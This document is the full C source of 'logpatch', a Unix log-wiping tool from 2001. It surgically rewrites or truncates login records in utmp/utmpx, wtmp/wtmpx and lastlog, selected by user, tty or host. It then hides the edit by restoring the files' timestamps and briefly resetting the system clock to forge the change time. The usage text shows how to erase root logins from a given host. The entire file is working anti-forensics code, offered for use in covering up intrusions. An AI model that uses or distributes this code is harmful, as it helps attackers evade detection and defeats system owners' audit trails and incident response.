
/*
 * logpatch v1.0
 *      Surgically patch utmp/utmpx, wtmp/wtmpx & lastlog
 *      The best Unix log wiper available. Very portable.
 *      It preserves the file's times and truncates entries
 *      at the end of the file.
 * 
 * (!c) 2001 by Ighighi
 * Venezuela
 *
 * Compilation:
 *      cc [-DHAVE_UTMPX_H] -o logpatch logpatch.c
 * 
 * DISCLAIMER:
 *      USE AT YOUR OWN RISK. I AM NOT RESPONSIBLE FOR ANYTHING.
 */

/* #define HAVE_UTMPX_H 1 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <pwd.h>

#include <sys/time.h>
#include <time.h>

#include <utmp.h>

/* XXX */
#ifdef DEAD_PROCESS
#define HAVE_UT_TYPE	1
#else
#define HAVE_UT_TYPE	0
#endif
#ifdef	UT_HOSTSIZE
#define HAVE_UT_HOST	1
#else
#define HAVE_UT_HOST	0
#endif
#if defined(ut_time) || defined(ut_xtime)
#define HAVE_UT_TV	1
#else
#define HAVE_UT_TV	0
#endif



#include <paths.h>

#ifndef UTMP_FILE
#if     defined(_PATH_UTMP)
#define UTMP_FILE	_PATH_UTMP
#elif	defined(UTMP_FILENAME)
#define UTMP_FILE	UTMP_FILENAME
#else
#define UTMP_FILE	"/var/run/utmp"
/* #define UTMP_FILE	"/var/adm/utmp" */
/* #define UTMP_FILE	"/usr/adm/utmp" */
/* #define UTMP_FILE	"/etc/utmp" */
#endif
#endif	/* UTMP_FILE */

#ifndef WTMP_FILE
#if	defined(_PATH_WTMP)
#define WTMP_FILE	_PATH_WTMP
#elif	defined(WTMP_FILENAME)
#define WTMP_FILE	WTMP_FILENAME
#else
#define WTMP_FILE	"/var/log/wtmp"
/* #define WTMP_FILE	"/var/adm/wtmp" */
/* #define WTMP_FILE	"/usr/adm/wtmp" */
/* #define WTMP_FILE	"/etc/wtmp" */
#endif
#endif	/* WTMP_FILE */



#ifdef HAVE_UTMPX_H

#ifndef __USE_GNU	/* XXX - hack to get utmpx paths on GNU libc */
#define __USE_GNU	1
#endif
#include <utmpx.h>

#ifndef UTMPX_FILE
#if	defined(_PATH_UTMPX)
#define UTMPX_FILE	_PATH_UTMPX
#elif	defined(UTMPX_FILENAME)
#define UTMPX_FILE	UTMPX_FILENAME
#else
#define UTMPX_FILE	"/var/run/utmpx"
/* #define UTMPX_FILE	"/var/adm/utmpx" */
/* #define UTMPX_FILE	"/usr/adm/utmpx" */
/* #define UTMPX_FILE	"/etc/utmpx" */
#endif
#endif	/* UTMPX_FILE */

#ifndef WTMPX_FILE
#if	defined(_PATH_WTMPX)
#define WTMPX_FILE	_PATH_WTMPX
#elif	defined(_WTMPX_FILENAME)
#define WTMPX_FILE	WTMPX_FILENAME
#else
#define WTMPX_FILE	"/var/log/wtmpx"
/* #define WTMPX_FILE	"/var/adm/wtmpx" */
/* #define WTMPX_FILE	"/usr/adm/wtmpx" */
/* #define WTMPX_FILE	"/etc/wtmpx" */
#endif
#endif	/* WTMPX_FILE */

#endif	/* HAVE_UTMPX_H */



#include <lastlog.h>

#ifndef LASTLOG_FILE
#if	defined(_PATH_LASTLOG)
#define LASTLOG_FILE	_PATH_LASTLOG
#elif	defined(LASTLOG_FILENAME)
#define LASTLOG_FILE	LASTLOG_FILENAME
#else
#define LASTLOG_FILE	"/var/log/lastlog"
/* #define LASTLOG_FILE	"/var/adm/lastlog" */
/* #define LASTLOG_FILE	"/usr/adm/lastlog" */
/* #define LASTLOG_FILE	"/etc/lastlog" */
#endif
#endif	/* LASTLOG_FILE */



/*
 * Global variables
 */
static char *user = NULL, *new_user = NULL;
static char *line = NULL, *new_line = NULL;
static char *host = NULL, *new_host = NULL;
static struct timeval new_time = { 0, 0 };
static int nentries	= 0;
static int truncate_it	= 0;

/* converts from "YYYY:MM:DD:hh:mm:ss:uu" to struct timeval */
static void str2timeval(const char *s, struct timeval *tvp)
{
    struct tm tm;
#define DELIM	':'    

    if (! tvp)	return;
    
    memset(&tm, 0, sizeof(tm));
    if (s) {
	tm.tm_year = atoi(s) - 1900;
	if ( (s = strchr(s, DELIM))) {
	    tm.tm_mon = atoi(++s) - 1;
	    if ( (s = strchr(s, DELIM))) {
		tm.tm_mday = atoi(++s);
		if ( (s = strchr(s, DELIM))) {
		    tm.tm_hour = atoi(++s);
		    if ( (s = strchr(s, DELIM))) {
			tm.tm_min = atoi(++s);
			if ( (s = strchr(s, DELIM))) {
			    tm.tm_sec = atoi(++s);
			    if ( (s = strchr(s, DELIM))) {
				tvp->tv_usec = atoi(++s);
			    }
			}
		    }
		}
	    }
	}
    }    
    tvp->tv_sec = mktime(&tm);
    
    return;
}

#define patch_user(user) \
	strncpy((user), new_user ? new_user : "", sizeof((user)))
#define patch_line(line) \
	strncpy((line), new_line ? new_line : "", sizeof((line)))
#define patch_host(host) \
	strncpy((host), new_host ? new_host : "", sizeof((host)))
#define patch_time(time, newtime) \
	memcpy(&(time), &(newtime), sizeof((time)))

static void lastlog_zap(int fd)
{
    struct lastlog ll;
    struct passwd *pw;
    int n;    

    if (!user || !(pw = getpwnam(user))) {
	fprintf(stderr, "ERROR: unknown user\n");
	return;
    }

    memset(&ll, 0, sizeof(ll));
    patch_host(ll.ll_host);
    patch_line(ll.ll_line);
    patch_time(ll.ll_time, new_time);

    printf("Reading... ");    
    if (lseek(fd, (long) (sizeof(ll) * pw->pw_uid), SEEK_SET) < 0) {
	perror("ERROR: lseek()");
	return;
    }
    
    if ( (n = write(fd, &ll, sizeof(ll))) != sizeof(ll)) {
	if (n < 0) {
	    perror("ERROR: write()");
	}
	else {
	    fprintf(stderr, "ERROR: write(): Truncated write\n");
	}
	return;
    }
    printf("patched ");

    return;
}

#if HAVE_UT_TV
#define UT_TIME	ut_tv
#else
#define UT_TIME ut_time
#endif

static void utmp_zap(int fd)
{
    struct utmp ut;
    struct timeval prev_time = { 0, 0 };
    int n;

    if (!user || !nentries) {
	return;
    }

    printf("Reading... ");
    while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
	if ((!user || !*user || !strcmp(ut.ut_name, user)) &&
#if HAVE_UT_HOST
	    (!host || !*host || !strcmp(ut.ut_host, host)) &&
#endif
	    (!line || !*line || !strcmp(ut.ut_line, line))) {

	    if (lseek(fd, (long) -sizeof(ut), SEEK_CUR) < 0) {
		perror("ERROR: lseek()");
		return;
	    }	    
	    
	    memset(&ut, 0, sizeof(ut));
	    if (new_time.tv_sec || new_time.tv_usec)
		patch_time(ut.UT_TIME, new_time);
	    else
		patch_time(ut.UT_TIME, prev_time);
	    patch_user(ut.ut_name);
	    patch_line(ut.ut_line);
#if HAVE_UT_HOST
	    patch_host(ut.ut_host);
#endif
#if HAVE_UT_TYPE
	    ut.ut_type = DEAD_PROCESS;
#endif

	    if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
		if (n < 0) {
		    perror("ERROR: write()");
		}
		else {
		    fprintf(stderr, "ERROR: write(): Truncated write\n");
		}
		return;
	    }
	    printf("patched ");
	    
	    if (! --nentries) {
		return;
	    }
	}
	else {
	    /* record previous time */
	    memcpy(&prev_time, &ut.UT_TIME, sizeof(ut.UT_TIME));
	}
    }
    if (n) {
	if (n < 0) {
	    perror("ERROR: read()");
	}
	else {
	    fprintf(stderr, "ERROR: read(): Truncated read\n");
	}
	return;
    }
    
    return;
}

static void wtmp_zap(int fd)
{
    struct utmp ut;
    struct timeval prev_time = { 0, 0 };
    int n;
    long lastpos, currpos;

    if (!user || !nentries) {
	return;
    }

    printf("Reading... ");    
    /* seek to the last entry... */
    if ( (lastpos = lseek(fd, (long) -sizeof(ut), SEEK_END)) < 0) {
	perror("ERROR: lseek()");
	return;
    }
    /* ...and read the way up */
    while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
	if ((!user || !*user || !strcmp(ut.ut_name, user)) &&
#if HAVE_UT_HOST
	    (!host || !*host || !strcmp(ut.ut_host, host)) &&
#endif	    
	    (!line || !*line || !strcmp(ut.ut_line, line))) {

	    if ( (currpos = lseek(fd, (long) -sizeof(ut), SEEK_CUR)) < 0) {
		perror("ERROR: lseek()");
		return;
	    }
	    
	    memset(&ut, 0, sizeof(ut));
	    if (new_time.tv_sec || new_time.tv_usec)	    
		patch_time(ut.UT_TIME, new_time);
	    else
		patch_time(ut.UT_TIME, prev_time);
	    patch_user(ut.ut_name);
	    patch_line(ut.ut_line);
#if HAVE_UT_HOST
	    patch_host(ut.ut_host);
#endif
#if HAVE_UT_TYPE	    
	    ut.ut_type = DEAD_PROCESS;
#endif
	    
	    if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
		if (n < 0) {
		    perror("ERROR: write()");
		}
		else {
		    fprintf(stderr, "ERROR: write(): Truncated write\n");
		}
		return;
	    }
	    printf("patched ");
	    
	    if (truncate_it) {
		/* truncate if we are at the end of the file */
		if (currpos == lastpos) {
		    if (ftruncate(fd, currpos) < 0) {
			perror("ERROR: ftruncate()");
			return;
		    }
		    printf("truncated ");
		    lastpos -= sizeof(ut);
		    if (lseek(fd, lastpos, SEEK_SET) < 0) {
			return;
		    }
		}
	    }

	    if (! --nentries) {
		return;
	    }	    
	}
	else {
	    /* record previous time */
	    memcpy(&prev_time, &ut.UT_TIME, sizeof(ut.UT_TIME));
	}
	/* seek to the entry up... */
	if (lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR) < 0) {
	    /* finished reading... */
	    return;
	}
    }
    if (n < 0) {
	perror("ERROR: read()");
    }
    else {
	fprintf(stderr, "ERROR: read(): Truncated read: %d\n", n);
    }

    return;
}

#ifdef HAVE_UTMPX_H

static void utmpx_zap(int fd)
{
    struct utmpx ut;
    struct timeval prev_time = { 0, 0 };
    int n;    

    if (!user || !nentries) {
	return;
    }

    printf("Reading... ");
    while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
	if ((!user || !*user || !strcmp(ut.ut_user, user)) &&
	    (!host || !*host || !strcmp(ut.ut_host, host)) &&
	    (!line || !*line || !strcmp(ut.ut_line, line))) {

	    if (lseek(fd, (long) -sizeof(ut), SEEK_CUR) < 0) {
		perror("ERROR: lseek()");
		return;
	    }	    
	    
	    memset(&ut, 0, sizeof(ut));
	    if (new_time.tv_sec || new_time.tv_usec)	    
		patch_time(ut.ut_tv, new_time);
	    else
		patch_time(ut.ut_tv, prev_time);
	    patch_user(ut.ut_user);
	    patch_line(ut.ut_line);
	    patch_host(ut.ut_host);
#ifdef DEAD_PROCESS
	    ut.ut_type = DEAD_PROCESS;
#endif
	    
	    if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
		if (n < 0) {
		    perror("ERROR: write()");
		}
		else {
		    fprintf(stderr, "ERROR: write(): Truncated write\n");
		}
		return;
	    }
	    printf("patched ");
	    
	    if (! --nentries) {
		return;
	    }
	}
	else {
	    /* record previous time */
	    memcpy(&prev_time, &ut.ut_tv, sizeof(ut.ut_tv));
	}
    }
    if (n) {
	if (n < 0) {
	    perror("ERROR: read()");
	}
	else {
	    fprintf(stderr, "ERROR: read(): Truncated read\n");
	}
    }

    return;
}

static void wtmpx_zap(int fd)
{
    struct utmpx ut;
    struct timeval prev_time = { 0, 0 };
    int n;
    long lastpos, currpos;    

    if (!user || !nentries) {
	return;
    }

    printf("Reading... ");
    /* seek to the last entry... */
    if ( (lastpos = lseek(fd, (long) -sizeof(ut), SEEK_END)) < 0) {
	perror("ERROR: lseek()");
	return;
    }    
    /* ...and read the way up */
    while ( (n = read(fd, &ut, sizeof(ut))) == sizeof(ut)) {
	if ((!user || !*user || !strcmp(ut.ut_user, user)) &&
	    (!host || !*host || !strcmp(ut.ut_host, host)) &&
	    (!line || !*line || !strcmp(ut.ut_line, line))) {

	    if ( (currpos = lseek(fd, (long) -sizeof(ut), SEEK_CUR)) < 0) {
		perror("ERROR: lseek()");
		return;
	    }	    
	    
	    memset(&ut, 0, sizeof(ut));
	    if (new_time.tv_sec || new_time.tv_usec)	    
		patch_time(ut.ut_tv, new_time);
	    else
		patch_time(ut.ut_tv, prev_time);
	    patch_user(ut.ut_user);
	    patch_line(ut.ut_line);
	    patch_host(ut.ut_host);
#ifdef DEAD_PROCESS	    
	    ut.ut_type = DEAD_PROCESS;
#endif	    
	    
	    if ( (n = write(fd, &ut, sizeof(ut))) != sizeof(ut)) {
		if (n < 0) {
		    perror("ERROR: write()");
		}
		else {		
		    fprintf(stderr, "ERROR: write(): Truncated write\n");
		}
		return;
	    }
	    printf("patched ");

	    if (truncate_it) {
		/* truncate if we are at the end of the file */
		if (currpos == lastpos) {
		    if (ftruncate(fd, lastpos) < 0) {
			perror("ERROR: ftruncate()");
			return;
		    }
		    printf("truncated ");
		    lastpos -= sizeof(ut);
		    if (lseek(fd, lastpos, SEEK_SET) < 0) {
			return;
		    }
		}
	    }
	    
	    if (! --nentries) {
		return;
	    }
	}
	else {
	    /* record previous time */
	    memcpy(&prev_time, &ut.ut_tv, sizeof(ut.ut_tv));
	}
	/* seek to the entry up... */
	if (lseek(fd, (long) -(sizeof(ut) * 2), SEEK_CUR) < 0) {
	    /* finished reading... */
	    return;
	}
    }
    if (n < 0) {
	perror("ERROR: read()");
    }
    else {
	fprintf(stderr, "ERROR: read(): Truncated read\n");
    }

    return;
}

#endif	/* HAVE_UTMPX_H */

static int exit_usage(int status)
{
    FILE *fp;
    
    if (status)	fp = stderr;
    else	fp = stdout;

    fprintf(fp, "logpatch v1.0 by Ighighi \n");
    fprintf(fp, "Usage: logzap mode options \n");
    fprintf(fp, "  mode: \n");
    fprintf(fp, "    u[x]   --   utmp/utmpx \n");
    fprintf(fp, "    w[x]   --   wtmp/wtmpx \n");
    fprintf(fp, "    l      --   lastlog \n");
    fprintf(fp, "  options: \n");
    fprintf(fp, "    -u [user][:new_user] \n");
    fprintf(fp, "       Patch/wipe entries with user `user'. `new_user' ignored in lastlog mode \n");
    fprintf(fp, "    [-l [tty][:new_tty]] \n");
    fprintf(fp, "       Patch/wipe entries with tty `tty'. Ignored in lastlog mode \n");
    fprintf(fp, "    [-h [host][:new_host]] \n");
    fprintf(fp, "       Patch/wipe entries with host `host'. \n");
    fprintf(fp, "    [-d YYYY[:MM[:DD[:hh[:mm[:ss[:uuuuuu]]]]]]] \n");
    fprintf(fp, "       Patch entry's time (with microsecond resolution) \n");
    fprintf(fp, "       Default: previous entry's time (u[x]), next's (w[x]), zero (l) \n");
    fprintf(fp, "    [-f file] \n");
    fprintf(fp, "       Specify the file to use instead of the default \n");    
    fprintf(fp, "    [-n nentries]    Only u[x] & w[x] \n");
    fprintf(fp, "       u[x]: Process the first n entries. Def: -1 (all entries) \n");
    fprintf(fp, "       w[x]: Process the last n entries. Def: 1 (last entry) \n");
    fprintf(fp, "    [-t]             Truncate entries at EOF. Only w[x] \n");
    fprintf(fp, "  example: hide all root entries from www.microsoft.com in wtmpx \n");
    fprintf(fp, "    ./logpatch wx -u root -h www.microsoft.com -n -1 -t \n");

    exit(status);
}

int main(int argc, char *argv[])
{
    char *file = NULL;
    int fd;
    int i;    
    char mode, submode;
    struct stat inode;
#define ATIME	0
#define MTIME	1
#define CTIME	2    
    struct timeval tv[3], curr_tv;

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    
    if (argc < 2) exit_usage(1);
    
    mode = argv[1][0];
    if (mode) submode = argv[1][1];
    
    switch (mode) {
    case 'u':	/* UTMP/X */
	nentries = -1;	/* all entries... */
#ifdef HAVE_UTMPX_H	
	if (submode == 'x')
	    file = UTMPX_FILE;
	else
#endif	    
	    file = UTMP_FILE;
	break;
    case 'w':	/* WTMP/X */
	nentries = 1;	/* last entry... */
#ifdef HAVE_UTMPX_H	
	if (submode == 'x')
	    file = WTMPX_FILE;
	else
#endif	    
	    file = WTMP_FILE;	
	break;
    case 'l':	/* LASTLOG */
	file = LASTLOG_FILE;
	break;
    default:
	exit_usage(1);
    }
    
    for (i = 2; i < argc; i++) {
	if (argv[i][0] == '-') {
	    switch (argv[i][1]) {
	    case 'u':	/* user */
		if (! (user = argv[++i]))   exit_usage(1);
		new_user = strchr(user, DELIM);
		if (new_user) *new_user++ = '\0';
		break;
	    case 'l':	/* line */
		if (! (line = argv[++i]))   exit_usage(1);
		new_line = strchr(line, DELIM);
		if (new_line) *new_line++ = '\0';
		break;
	    case 'h':	/* host */
		if (! (host = argv[++i]))   exit_usage(1);
		new_host = strchr(host, DELIM);
		if (new_host) *new_host++ = '\0';
		break;
	    case 'd':	/* time */
		if (! argv[++i])	    exit_usage(1);
		str2timeval(argv[i], &new_time);
		break;
	    case 'f':	/* file */
		if (! (file = argv[++i]))   exit_usage(1);
		break;		
	    case 'n':	/* nentries */
		if (! argv[++i])	    exit_usage(1);
		nentries = atoi(argv[i]);
		break;
            case 't':	/* truncate */
		truncate_it = 1;
		break;
	    default:
		exit_usage(1);
	    }
	}
	else {
	    exit_usage(1);
	}
    }

    printf("Opening %s ...\n", file);
    
    /* save file times */
    if (stat(file, &inode) < 0) {
	perror("ERROR: stat()");
	exit(1);
    }

    if ( (fd = open(file, O_RDWR)) < 0) {
	perror("ERROR: open()");
	exit(1);
    }
    
    switch (mode) {
    case 'u':	/* UTMP/X */
#ifdef HAVE_UTMPX_H	
	if (submode == 'x')
	    utmpx_zap(fd);
	else
#endif	
	    utmp_zap(fd);
	break;
    case 'w':	/* WTMP/X */
#ifdef HAVE_UTMPX_H
	if (submode == 'x')
	    wtmpx_zap(fd);
	else
#endif	
	    wtmp_zap(fd);
	break;
    case 'l':	/* LASTLOG */
	lastlog_zap(fd);
	break;
    default :
	exit_usage(1);
    }

    printf("ok.\n");
    
    if (close(fd) < 0) {
	perror("ERROR: close()");
	exit(1);
    }
    
    /* 
     * Restore file times
     */
    memset(&tv, 0, sizeof(tv));
    /* st_[amc]time may be either struct timespec or time_t
     * the first member of struct timespec is tv_sec
     */
    memcpy(&tv[ATIME], &inode.st_atime, sizeof(inode.st_atime));
    tv[ATIME].tv_usec /= 1000;      /* nanosecs to microsecs */
    memcpy(&tv[MTIME], &inode.st_mtime, sizeof(inode.st_mtime));
    tv[MTIME].tv_usec /= 1000;
    memcpy(&tv[CTIME], &inode.st_ctime, sizeof(inode.st_ctime));
    tv[CTIME].tv_usec /= 1000;
    /* Save current time */
    if (gettimeofday(&curr_tv, NULL) < 0) {
	perror("ERROR: gettimeofday()");
    }
    /* Patch st_ctime. This is actually done as consequence of utimes() */
    if (settimeofday(&tv[CTIME], NULL) < 0) {
	perror("ERROR: settimeofday(ctime)");
    }
    /* Patch st_atime & st_mtime */
    if (utimes(file, tv) < 0) {
	perror("ERROR: utimes()");
    }
    /* Restore system time */
    if (settimeofday(&curr_tv, NULL) < 0) {
	perror("ERROR: settimeofday(curr_tv)");
	exit(1);
    }

    exit(0);
}
